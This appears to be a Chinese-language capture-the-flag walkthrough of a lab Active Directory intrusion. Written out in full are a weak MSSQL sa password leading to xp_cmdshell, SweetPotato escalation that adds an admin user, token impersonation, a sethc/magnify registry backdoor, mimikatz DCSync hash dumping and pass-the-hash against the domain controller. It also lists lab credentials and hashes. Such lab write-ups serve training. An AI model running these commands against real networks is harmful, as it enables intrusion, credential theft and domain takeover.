- 盘符共享
- 镜像劫持
- 域渗透:hash传递🎯
39.99.137.104
fscan扫一下
mssql存在sa:1qaz!QAZ
弱密码,MDUT连接,激活XP_Cmdshell
C:/迅雷下载/SweetPotato.exe -a whoami
提权成功
C:/迅雷下载/SweetPotato.exe -a "net user qaq1nv AbcD9635! /add"
C:/迅雷下载/SweetPotato.exe -a "net localgroup administrators qaq1nv /add"
添加用户qaq1nv:AbcD9635!
成功远程登录,找到flag01
flag{30084de3-424b-4a37-b4e4-9bcf77e696dd}
ipconfig
看一下网络情况172.22.8.18
传fscan.exe
扫内网
C:\Users\qaq1nv\Desktop>fscan.exe -h 172.22.8.18/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.46 is alive
(icmp) Target 172.22.8.15 is alive
[*] Icmp alive hosts len is: 4
172.22.8.31:139 open
172.22.8.15:135 open
172.22.8.31:135 open
172.22.8.46:135 open
172.22.8.18:139 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.18:1433 open
172.22.8.15:445 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.18:445 open
172.22.8.15:139 open
172.22.8.46:139 open
172.22.8.18:80 open
172.22.8.15:88 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:2863:628:d89c:7697
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
已完成 16/16
[*] 扫描结束,耗时: 9.8108366s
分析一下
172.22.8.15 DC域控
172.22.8.18 拿下
172.22.8.46 域内机器
172.22.8.31 域内机器
flag01提示去看user sessions
,net user看一下
还有一个John用户,netstat -no
发现3389
端口和.31
的机器有连接
SharpToken
使用模拟令牌看一下John用户SharpToken.exe execute "WIN-WEB\John" cmd true
上次用Rubeus也报这个错,解决方案:服务器管理器->仪表盘->添加角色和功能->功能->勾选.net3.5->安装
管理员权限成功执行C:\Windows\system32>"C:\Users\qaq1nv\Desktop\SharpToken.exe" execute "WIN-WEB\John" cmd true
,随后net use
发现一个共享
算是点题了
dir \\TSCLIENT\C
type \\TSCLIENT\C\credential.txt
得到一组账号密码xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
并提示要镜像劫持,传frpc搭代理
proxychains4 rdesktop 172.22.8.31:3389
远程连接桌面,注意如果密码已过期windows下直接连不上,在kali修改密码成功登录,登进去的是.46
的机器
查看权限,普通用户,无管理员权限
net group "domain admins" /domain
net config workstation
结合之前的提示进行镜像劫持,查看注册表权限get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
发现普通用户可以对注册表进行创建和写入,于是我们设置shift后门
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
也可以用放大镜提权
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
成功提权,读flag02type "C:\Users\Administrator\flag\flag02.txt"
下面想办法给.46
这台机器传mimikatz,可以利用上面发现的tsclient共享文件夹,在.18
的机器上远程桌面连接.46
的机器,设置好共享磁盘
登录.46
可以看到.18
的C盘内容,从而上传mimikatz
上线mimikatz,win+L
锁屏失败换了个命令rundll32.exe user32.dll,LockWorkStation
log
privilege::debug
lsadump::dcsync /domain /all /csv
最后hash传递打域控机器
proxychains4 crackmapexec smb 172.22.8.15 -u administrator -H2c9d81bdcf3ec8b1def10328a7cc2f08 -d xiaorang.lab -x "type c:\users\administrator\flag\flag03.txt"
flag{22bfe1b4-522a-4927-8eed-72d50a88eb07}